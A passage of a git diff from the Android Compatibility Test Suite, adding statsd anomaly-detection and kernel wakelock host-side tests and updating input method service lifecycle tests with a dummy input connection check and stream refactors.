+                        .setBucket(Bucket.newBuilder().setBucketSizeMillis(5_000))
+                )
+                .addAlert(Alert.newBuilder()
+                        .setName("testDurationAnomalyDetectionAlert")
+                        .setMetricName("METRIC")
+                        .setNumberOfBuckets(12)
+                        .setRefractoryPeriodSecs(20)
+                        .setTriggerIfSumGt(15_000_000_000L) // 15 seconds in nanoseconds
+                        .setIncidentdDetails(Alert.IncidentdDetails.newBuilder()
+                                .addSection(-1)
+                        )
+                )
+                .build();
+        uploadConfig(config);
+
+        // Test that alarm doesn't fire early.
+        String markDeviceDate = getCurrentLogcatDate();
+        turnScreenOn();
+        Thread.sleep(6_000);
+        assertFalse(didIncidentdFireSince(markDeviceDate));
+
+        turnScreenOff();
+        Thread.sleep(1_000);
+        assertFalse(didIncidentdFireSince(markDeviceDate));
+
+        // Test that alarm does fire when it is supposed to.
+        turnScreenOn();
+        Thread.sleep(13_000);
+        assertTrue(didIncidentdFireSince(markDeviceDate));
+
+        // Now test that the refractory period is obeyed.
+        markDeviceDate = getCurrentLogcatDate();
+        turnScreenOff();
+        Thread.sleep(1_000);
+        turnScreenOn();
+        Thread.sleep(1_000);
+        assertFalse(didIncidentdFireSince(markDeviceDate));
+
+        // Test that detection works again after refractory period finishes.
+        turnScreenOff();
+        Thread.sleep(20_000);
+        turnScreenOn();
+        Thread.sleep(15_000);
+        assertTrue(didIncidentdFireSince(markDeviceDate));
+    }
+
+    // TODO: There is no value anomaly detection code yet! So this will fail.
+    // Tests that anomaly detection for value works.
+    public void testValueAnomalyDetection() throws Exception {
+        if (!TESTS_ENABLED) return;
+        if (!INCIDENTD_TESTS_ENABLED) return;
+        // TODO: Definitely don't use screen-state as the atom. This MUST be changed.
+        StatsdConfig config = getDefaultConfig()
+                .addValueMetric(ValueMetric.newBuilder()
+                        .setName("METRIC")
+                        .setWhat("SCREEN_TURNED_ON")
+                        .setValueField(ScreenStateChanged.DISPLAY_STATE_FIELD_NUMBER)
+                        .setBucket(Bucket.newBuilder().setBucketSizeMillis(5_000))
+                )
+                .addAlert(Alert.newBuilder()
+                        .setName("testValueAnomalyDetectionAlert")
+                        .setMetricName("METRIC")
+                        .setNumberOfBuckets(4)
+                        .setRefractoryPeriodSecs(20)
+                        .setTriggerIfSumGt(ScreenStateChanged.State.STATE_OFF.getNumber())
+                        .setIncidentdDetails(Alert.IncidentdDetails.newBuilder()
+                                .addSection(-1)
+                        )
+                )
+                .build();
+        uploadConfig(config);
+
+        turnScreenOff();
+        String markDeviceDate = getCurrentLogcatDate();
+        turnScreenOff(); // value = STATE_OFF = 1 (probably)
+        Thread.sleep(2000);
+        assertFalse(didIncidentdFireSince(markDeviceDate));
+        turnScreenOn(); // value = STATE_ON = 2 (probably)
+        Thread.sleep(2000);
+        assertTrue(didIncidentdFireSince(markDeviceDate));
+
+        turnScreenOff();
+    }
+
+    // Tests that anomaly detection for gauge works.
+    public void testGaugeAnomalyDetection() throws Exception {
+        if (!TESTS_ENABLED) return;
+        if (!INCIDENTD_TESTS_ENABLED) return;
+        // TODO: Definitely don't use screen-state as the atom. This MUST be changed.
+        StatsdConfig config = getDefaultConfig()
+                .addGaugeMetric(GaugeMetric.newBuilder()
+                        .setName("METRIC")
+                        .setWhat("SCREEN_TURNED_ON")
+                        .setGaugeField(ScreenStateChanged.DISPLAY_STATE_FIELD_NUMBER)
+                        .setBucket(Bucket.newBuilder().setBucketSizeMillis(10_000))
+                )
+                .addAlert(Alert.newBuilder()
+                        .setName("testGaugeAnomalyDetectionAlert")
+                        .setMetricName("METRIC")
+                        .setNumberOfBuckets(1)
+                        .setRefractoryPeriodSecs(20)
+                        .setTriggerIfSumGt(ScreenStateChanged.State.STATE_OFF.getNumber())
+                        .setIncidentdDetails(Alert.IncidentdDetails.newBuilder()
+                                .addSection(-1)
+                        )
+                )
+                .build();
+        uploadConfig(config);
+
+        turnScreenOff();
+        String markDeviceDate = getCurrentLogcatDate();
+        turnScreenOff(); // gauge = STATE_OFF = 1 (probably)
+        Thread.sleep(2000);
+        assertFalse(didIncidentdFireSince(markDeviceDate));
+        turnScreenOn(); // gauge = STATE_ON = 2 (probably)
+        Thread.sleep(2000);
+        assertTrue(didIncidentdFireSince(markDeviceDate));
+
+        turnScreenOff();
+    }
+
+    /**
+     * Determines whether logcat indicates that incidentd fired since the given device date.
+     */
+    private boolean didIncidentdFireSince(String date) throws Exception {
+        final String INCIDENTD_TAG = "incidentd";
+        final String INCIDENTD_STARTED_STRING = "reportIncident";
+        // TODO: Do something more robust than this in case of delayed logging.
+        Thread.sleep(1000);
+        String log = getLogcatSince(date, String.format(
+                "-s %s -e %s", INCIDENTD_TAG, INCIDENTD_STARTED_STRING));
+        return log.contains(INCIDENTD_STARTED_STRING);
+    }
+
+    private void uploadConfig(StatsdConfig config) throws Exception {
+        File configFile = File.createTempFile("statsdconfig", ".config");
+        Files.write(config.toByteArray(), configFile);
+        String remotePath = "/data/" + configFile.getName();
+        getDevice().pushFile(configFile, remotePath);
+        getDevice().executeShellCommand(
+                String.join(" ", "cat", remotePath, "|", UPDATE_CONFIG_CMD, CONFIG_UID,
+                        CONFIG_NAME));
+        getDevice().executeShellCommand("rm " + remotePath);
+    }
+
+    public void testKernelWakelockCount() throws Exception {
+        if (!TESTS_ENABLED) {return;}
+        StatsdConfig config = getDefaultConfig()
+                .addGaugeMetric(
+                        GaugeMetric.newBuilder()
+                                .setName("METRIC")
+                                .setWhat("KERNEL_WAKELOCK_PULLED")
+                                .setCondition("SCREEN_IS_ON")
+                                .addDimension(KeyMatcher.newBuilder()
+                                        .setKey(KernelWakelockPulled.NAME_FIELD_NUMBER))
+                                .setGaugeField(KernelWakelockPulled.COUNT_FIELD_NUMBER)
+                                .setBucket(Bucket.newBuilder().setBucketSizeMillis(10)))
+                .build();
+
+        turnScreenOff();
+
+        uploadConfig(config);
+
+        Thread.sleep(2000);
+        turnScreenOn();
+        Thread.sleep(2000);
+
+        ConfigMetricsReportList reportList = getReportList();
+
+        assertTrue(reportList.getReportsCount() == 1);
+        ConfigMetricsReport report = reportList.getReports(0);
+        assertTrue(report.getMetricsCount() >= 1);
+        assertTrue(report.getMetrics(0).getGaugeMetrics().getDataCount() >= 1);
+    }
+
+    public void testKernelWakelockTime() throws Exception {
+        if (!TESTS_ENABLED) {return;}
+        StatsdConfig config = getDefaultConfig()
+                .addGaugeMetric(
+                        GaugeMetric.newBuilder()
+                                .setName("METRIC")
+                                .setWhat("KERNEL_WAKELOCK_PULLED")
+                                .setCondition("SCREEN_IS_ON")
+                                .addDimension(KeyMatcher.newBuilder()
+                                        .setKey(KernelWakelockPulled.NAME_FIELD_NUMBER))
+                                .setGaugeField(KernelWakelockPulled.TIME_FIELD_NUMBER)
+                                .setBucket(Bucket.newBuilder().setBucketSizeMillis(10)))
+                .build();
+        String configName = "testKernelWakelockPulledAtom";
+        removeConfig(configName);
+        turnScreenOff();
+
+        uploadConfig(config);
+
+        Thread.sleep(2000);
+        turnScreenOn();
+        Thread.sleep(2000);
+
+        ConfigMetricsReportList reportList = getReportList();
+
+        assertTrue(reportList.getReportsCount() == 1);
+        ConfigMetricsReport report = reportList.getReports(0);
+        assertTrue(report.getMetricsCount() >= 1);
+        assertTrue(report.getMetrics(0).getGaugeMetrics().getDataCount() >= 1);
+    }
+
+
+
+    /**
+     * Get default config builder for atoms CTS testing.
+     * All matchers are included. One just need to add event metric for pushed events or
+     * gauge metric for pulled metric.
+     */
+    private StatsdConfig.Builder getDefaultConfig() {
+        StatsdConfig.Builder configBuilder = StatsdConfig.newBuilder();
+        configBuilder.setName("12345");
+        configBuilder
+            .addAtomMatcher(AtomMatcher.newBuilder()
+                .setName("SCREEN_TURNED_ON")
+                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
+                    .setTag(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
+                    .addKeyValueMatcher(KeyValueMatcher.newBuilder()
+                        .setKeyMatcher(KeyMatcher.newBuilder()
+                            .setKey(ScreenStateChanged.DISPLAY_STATE_FIELD_NUMBER)
+                        )
+                        .setEqInt(ScreenStateChanged.State.STATE_ON_VALUE)
+                    )
+                )
+            )
+            .addAtomMatcher(AtomMatcher.newBuilder()
+                .setName("SCREEN_TURNED_OFF")
+                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
+                    .setTag(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
+                    .addKeyValueMatcher(KeyValueMatcher.newBuilder()
+                        .setKeyMatcher(KeyMatcher.newBuilder()
+                            .setKey(ScreenStateChanged.DISPLAY_STATE_FIELD_NUMBER)
+                        )
+                        .setEqInt(ScreenStateChanged.State.STATE_OFF_VALUE)
+                    )
+                )
+            )
+            .addAtomMatcher(AtomMatcher.newBuilder()
+                .setName("UID_PROCESS_STATE_CHANGED")
+                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
+                    .setTag(Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER)
+                )
+            )
+            .addAtomMatcher(AtomMatcher.newBuilder()
+                .setName("KERNEL_WAKELOCK_PULLED")
+                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
+                    .setTag(Atom.KERNEL_WAKELOCK_PULLED_FIELD_NUMBER)
+                )
+            )
+            .addAtomMatcher(AtomMatcher.newBuilder()
+                .setName("CPU_TIME_PER_UID_PULLED")
+                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
+                    .setTag(Atom.CPU_TIME_PER_UID_PULLED_FIELD_NUMBER))
+            )
+            .addAtomMatcher(AtomMatcher.newBuilder()
+                .setName("CPU_TIME_PER_FREQ_PULLED")
+                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
+                    .setTag(Atom.CPU_TIME_PER_FREQ_PULLED_FIELD_NUMBER))
+            )
+            .addPredicate(Predicate.newBuilder()
+                .setName("SCREEN_IS_ON")
+                .setSimplePredicate(SimplePredicate.newBuilder()
+                    .setStart("SCREEN_TURNED_ON")
+                    .setStop("SCREEN_TURNED_OFF")
+                    .setCountNesting(false)
+                )
+            )
+        ;
+        return configBuilder;
+    }
+
+    private void removeConfig(String configName) throws Exception {
+        getDevice().executeShellCommand(
+                String.join(" ", REMOVE_CONFIG_CMD, CONFIG_UID, configName));
+    }
+
+    private ConfigMetricsReportList getReportList() throws Exception {
+        ConfigMetricsReportList reportList = getDump(ConfigMetricsReportList.parser(),
+                String.join(" ", DUMP_REPORT_CMD, CONFIG_UID, CONFIG_NAME, "--proto"));
+        LogUtil.CLog.d("get report list as following:\n" + reportList.toString());
+        return reportList;
+    }
+
+    private void turnScreenOn() throws Exception {
+        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        getDevice().executeShellCommand("wm dismiss-keyguard");
+    }
+
+    private void turnScreenOff() throws Exception {
+        getDevice().executeShellCommand("input keyevent KEYCODE_SLEEP");
+    }
+
+    private void rebootDevice() throws Exception {
+        getDevice().rebootUntilOnline();
+    }
+
+    private void startSimpleActivity() throws Exception {
+        getDevice().executeShellCommand(
+                "am start -n com.android.server.cts.device.batterystats/.SimpleActivity");
+        // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
+    }
+
+    private void installTestApp() throws Exception {
+        installPackage(DEVICE_SIDE_TEST_APK, true);
+    }
+
+    private String getCurrentLogcatDate() throws Exception {
+        // TODO: Do something more robust than this for getting logcat markers.
+        long timestampSecs = getDevice().getDeviceDate();
+        return new SimpleDateFormat("MM-dd HH:mm:ss.SSS")
+                .format(new Date(timestampSecs * 1000L));
+    }
+
+    private String getLogcatSince(String date, String logcatParams) throws Exception {
+        return getDevice().executeShellCommand(String.format(
+                "logcat -v threadtime -t '%s' -d %s", date, logcatParams));
+    }
+
+    // TODO: All the following code is entirely taken verbatim from BatteryStatsValidationTest.
+    //       If we end up needing it, we should refactor the code so that they share these commands.
+
+    private int getUid() throws Exception {
+        String uidLine = getDevice().executeShellCommand("cmd package list packages -U "
+                + DEVICE_SIDE_TEST_PACKAGE);
+        String[] uidLineParts = uidLine.split(":");
+        // 3rd entry is package uid
+        assertTrue(uidLineParts.length > 2);
+        int uid = Integer.parseInt(uidLineParts[2].trim());
+        assertTrue(uid > 10000);
+        return uid;
+    }
+
+    /**
+     * Runs a (background) service to perform the given action, and waits for
+     * the device to report that the action has finished (via a logcat message) before returning.
+     *
+     * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
+     *                    action to perform.
+     * @param maxTimeMs   max time to wait (in ms) for action to report that it has completed.
+     * @return A string, representing a random integer, assigned to this particular request for the
+     * device to perform the given action. This value can be used to receive communications via
+     * logcat
+     * from the device about this action.
+     */
+    private String executeBackground(String actionValue, int maxTimeMs) throws Exception {
+        String requestCode = executeBackground(actionValue);
+        String searchString = getCompletedActionString(actionValue, requestCode);
+        checkLogcatForText(BG_VS_FG_TAG, searchString, maxTimeMs);
+        return requestCode;
+    }
+
+    /**
+     * Runs a (background) service to perform the given action.
+     *
+     * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
+     *                    action to perform.
+     * @return A string, representing a random integer, assigned to this particular request for the
+     * device to perform the given action. This value can be used to receive communications via
+     * logcat
+     * from the device about this action.
+     */
+    private String executeBackground(String actionValue) throws Exception {
+        allowBackgroundServices();
+        String requestCode = Integer.toString(new Random().nextInt());
+        getDevice().executeShellCommand(String.format(
+                "am startservice -n '%s' -e %s %s -e %s %s",
+                DEVICE_SIDE_BG_SERVICE_COMPONENT,
+                KEY_ACTION, actionValue,
+                KEY_REQUEST_CODE, requestCode));
+        return requestCode;
+    }
+
+    /**
+     * Required to successfully start a background service from adb in O.
+     */
+    private void allowBackgroundServices() throws Exception {
+        getDevice().executeShellCommand(String.format(
+                "cmd deviceidle tempwhitelist %s", DEVICE_SIDE_TEST_PACKAGE));
+    }
+
+    /**
+     * Runs an activity (in the foreground) to perform the given action, and waits
+     * for the device to report that the action has finished (via a logcat message) before
+     * returning.
+     *
+     * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
+     *                    action to perform.
+     * @param maxTimeMs   max time to wait (in ms) for action to report that it has completed.
+     * @return A string, representing a random integer, assigned to this particular request for the
+     * device to perform the given action. This value can be used to receive communications via
+     * logcat
+     * from the device about this action.
+     */
+    private String executeForeground(String actionValue, int maxTimeMs) throws Exception {
+        String requestCode = executeForeground(actionValue);
+        String searchString = getCompletedActionString(actionValue, requestCode);
+        checkLogcatForText(BG_VS_FG_TAG, searchString, maxTimeMs);
+        return requestCode;
+    }
+
+    /**
+     * Runs an activity (in the foreground) to perform the given action.
+     *
+     * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
+     *                    action to perform.
+     * @return A string, representing a random integer, assigned to this particular request for the
+     * device to perform the given action. This value can be used to receive communications via
+     * logcat
+     * from the device about this action.
+     */
+    private String executeForeground(String actionValue) throws Exception {
+        String requestCode = Integer.toString(new Random().nextInt());
+        getDevice().executeShellCommand(String.format(
+                "am start -n '%s' -e %s %s -e %s %s",
+                DEVICE_SIDE_FG_ACTIVITY_COMPONENT,
+                KEY_ACTION, actionValue,
+                KEY_REQUEST_CODE, requestCode));
+        return requestCode;
+    }
+
+    /**
+     * The string that will be printed in the logcat when the action completes. This needs to be
+     * identical to
+     * {@link com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions#tellHostActionFinished}.
+     */
+    private String getCompletedActionString(String actionValue, String requestCode) {
+        return String.format("Completed performing %s for request %s", actionValue, requestCode);
+    }
+
+    /**
+     * Determines if the device has the given feature.
+     * Prints a warning if its value differs from requiredAnswer.
+     */
+    private boolean hasFeature(String featureName, boolean requiredAnswer) throws Exception {
+        final String features = getDevice().executeShellCommand("pm list features");
+        boolean hasIt = features.contains(featureName);
+        if (hasIt != requiredAnswer) {
+            LogUtil.CLog.w("Device does " + (requiredAnswer ? "not " : "") + "have feature "
+                    + featureName);
+        }
+        return hasIt;
+    }
+
+}
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
index 307693a..89a21f2 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
@@ -80,7 +80,14 @@
         /**
          *  Param for {@link DeviceEventType#ON_START_INPUT}. Represents if IME is restarting.
          */
-        ON_START_INPUT_RESTARTING(DeviceEventType.ON_START_INPUT, "onStartInput.restarting");
+        ON_START_INPUT_RESTARTING(DeviceEventType.ON_START_INPUT, "onStartInput.restarting"),
+
+        /**
+         *  Param for {@link DeviceEventType#ON_START_INPUT}. Represents if it's backed by a dummy
+         *  {@link android.view.inputmethod.InputConnection}.
+         */
+        ON_START_INPUT_DUMMY_INPUT_CONNECTION(DeviceEventType.ON_START_INPUT,
+                "onStartInput.dummyinputconnection");
 
         private final DeviceEventType mType;
         private final String mName;
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
index e5613ff..d9593a5 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
@@ -18,6 +18,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
 import static android.inputmethodservice.cts.DeviceEvent.isFrom;
@@ -72,8 +73,7 @@
 
         pollingCheck(() -> helper.queryAllEvents()
                         .collect(startingFrom(helper.isStartOfTest()))
-                        .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_CREATE)))
-                        .findAny().isPresent(),
+                        .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_CREATE))),
                 TIMEOUT, "CtsInputMethod1.onCreate is called");
 
         final long startActivityTime = SystemClock.uptimeMillis();
@@ -81,8 +81,7 @@
 
         pollingCheck(() -> helper.queryAllEvents()
                         .filter(isNewerThan(startActivityTime))
-                        .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT)))
-                        .findAny().isPresent(),
+                        .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT))),
                 TIMEOUT, "CtsInputMethod1.onStartInput is called");
     }
 
@@ -94,8 +93,7 @@
 
         pollingCheck(() -> helper.queryAllEvents()
                         .collect(startingFrom(helper.isStartOfTest()))
-                        .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_CREATE)))
-                        .findAny().isPresent(),
+                        .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_CREATE))),
                 TIMEOUT, "CtsInputMethod1.onCreate is called");
 
         final long startActivityTime = SystemClock.uptimeMillis();
@@ -103,8 +101,7 @@
 
         pollingCheck(() -> helper.queryAllEvents()
                         .filter(isNewerThan(startActivityTime))
-                        .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT)))
-                        .findAny().isPresent(),
+                        .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT))),
                 TIMEOUT, "CtsInputMethod1.onStartInput is called");
 
         helper.findUiObject(R.id.text_entry).click();
@@ -121,8 +118,7 @@
                 TIMEOUT, "CtsInputMethod2 is current IME");
         pollingCheck(() -> helper.queryAllEvents()
                         .filter(isNewerThan(switchImeTime))
-                        .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_DESTROY)))
-                        .findAny().isPresent(),
+                        .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_DESTROY))),
                 TIMEOUT, "CtsInputMethod1.onDestroy is called");
         pollingCheck(() -> helper.queryAllEvents()
                         .filter(isNewerThan(switchImeTime))
@@ -157,13 +153,11 @@
         helper.findUiObject(R.id.search_view).click();
         pollingCheck(() -> helper.queryAllEvents()
                         .collect(startingFrom(helper.isStartOfTest()))
-                        .filter(isFrom(Ime1Constants.CLASS).and(isType(SHOW_SOFT_INPUT)))
-                        .findAny().isPresent(),
+                        .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(SHOW_SOFT_INPUT))),
                 TIMEOUT, "CtsInputMethod1.showSoftInput is called");
         pollingCheck(() -> helper.queryAllEvents()
                         .collect(startingFrom(helper.isStartOfTest()))
-                        .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT)))
-                        .findAny().isPresent(),
+                        .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT))),
                 TIMEOUT, "CtsInputMethod1.onStartInput is called");
     }
 
@@ -182,13 +176,11 @@
 
         pollingCheck(() -> helper.queryAllEvents()
                         .collect(startingFrom(helper.isStartOfTest()))
-                        .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_FINISH_INPUT)))
-                        .findAny().isPresent(),
+                        .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_FINISH_INPUT))),
                 TIMEOUT, "CtsInputMethod1.onFinishInput is called");
         pollingCheck(() -> helper.queryAllEvents()
                         .collect(startingFrom(helper.isStartOfTest()))
-                        .filter(isFrom(Ime1Constants.CLASS).and(isType(HIDE_SOFT_INPUT)))
-                        .findAny().isPresent(),
+                        .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(HIDE_SOFT_INPUT))),
                 TIMEOUT, "CtsInputMethod1.hideSoftInput is called");
     }
 
@@ -203,9 +195,7 @@
         // we should've only one onStartInput call.
         pollingCheck(() -> helper.queryAllEvents()
                         .collect(startingFrom(helper.isStartOfTest()))
-                        .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT)))
-                        .findAny()
-                        .isPresent(),
+                        .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT))),
                 TIMEOUT, "CtsInputMethod1.onStartInput is called");
         List<DeviceEvent> startInputEvents = helper.queryAllEvents()
                 .collect(startingFrom(helper.isStartOfTest()))
@@ -218,10 +208,15 @@
 
         // check if that single event didn't cause IME restart.
         final DeviceEvent event = startInputEvents.get(0);
-        Boolean isRestarting = DeviceEvent.getEventParamBoolean(
+        final Boolean isRestarting = DeviceEvent.getEventParamBoolean(
                         DeviceEventTypeParam.ON_START_INPUT_RESTARTING, event);
-        assertTrue(isRestarting != null);
+        assertNotNull(isRestarting);
         assertFalse(isRestarting);
+
+        final Boolean isDummyInputConnection = DeviceEvent.getEventParamBoolean(
+                DeviceEventTypeParam.ON_START_INPUT_DUMMY_INPUT_CONNECTION, event);
+        assertNotNull(isDummyInputConnection);
+        assertFalse(isDummyInputConnection);
     }
 
     /**
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/MoreCollectors.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/MoreCollectors.java
index a935f0b..59692a6 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/MoreCollectors.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/MoreCollectors.java
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
 package android.inputmethodservice.cts.devicetest;
 
 import java.util.function.BiConsumer;
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/SequenceMatcher.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/SequenceMatcher.java
index 36b711e..996dad9 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/SequenceMatcher.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/SequenceMatcher.java
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
 package android.inputmethodservice.cts.devicetest;
 
 import java.util.ArrayList;
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
index ff412ef..cd2c557 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
@@ -277,19 +277,16 @@
     public static Boolean getEventParamBoolean(
             DeviceEventTypeParam eventParam, final DeviceEvent event) {
         StringReader stringReader = new StringReader(event.paramsString);
-        JsonReader reader = new JsonReader(stringReader);
-
-        try {
+        try (JsonReader reader = new JsonReader(stringReader)) {
             reader.beginObject();
             while (reader.hasNext()) {
                 String name = reader.nextName();
                 if (name.equals(eventParam.getName())) {
                     Boolean value = reader.nextBoolean();
-                    reader.endObject();
                     return value;
                 }
+                reader.skipValue();
             }
-            reader.endObject();
         } catch (IOException e) {
             throw new RuntimeException("DeviceEvent.getEventParamBoolean() failed.", e);
         }
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
index b37873c..3a99e71 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
@@ -33,6 +33,7 @@
 import android.os.ResultReceiver;
 import android.util.Log;
 import android.view.inputmethod.EditorInfo;
+import android.view.inputmethod.InputBinding;
 import android.view.inputmethod.InputConnection;
 
 import java.util.function.Consumer;
@@ -80,15 +81,19 @@
 
     @Override
     public void onStartInput(EditorInfo editorInfo, boolean restarting) {
+        final boolean dummyConnection =
+                getCurrentInputConnection() == getCurrentInputBinding().getConnection();
         if (DEBUG) {
             Log.d(mLogTag, "onStartInput:"
                     + " editorInfo=" + editorInfo
-                    + " restarting=" + restarting);
+                    + " restarting=" + restarting
+                    + " dummyConnection=" + dummyConnection);
         }
 
         sendEvent(DeviceEvent.builder()
                 .setType(ON_START_INPUT)
-                .with(DeviceEventTypeParam.ON_START_INPUT_RESTARTING, restarting));
+                .with(DeviceEventTypeParam.ON_START_INPUT_RESTARTING, restarting)
+                .with(DeviceEventTypeParam.ON_START_INPUT_DUMMY_INPUT_CONNECTION, dummyConnection));
         super.onStartInput(editorInfo, restarting);
     }
 
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
index 02c3e55..bc906a0 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
@@ -17,12 +17,15 @@
 package android.inputmethodservice.cts.hostside;
 
 import static android.inputmethodservice.cts.common.DeviceEventConstants.ACTION_DEVICE_EVENT;
-import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.TEST_START;
 import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_SENDER;
 import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_TYPE;
 import static android.inputmethodservice.cts.common.DeviceEventConstants.RECEIVER_COMPONENT;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.TEST_START;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
@@ -33,8 +36,8 @@
 import android.inputmethodservice.cts.common.test.ShellCommandUtils;
 import android.inputmethodservice.cts.common.test.TestInfo;
 
-import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import org.junit.After;
 import org.junit.Before;
@@ -42,7 +45,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class InputMethodServiceLifecycleTest extends CompatibilityHostTestBase {
+public class InputMethodServiceLifecycleTest extends BaseHostJUnit4Test {
 
     private String mDefaultImeId;
 
@@ -59,7 +62,6 @@
     @After
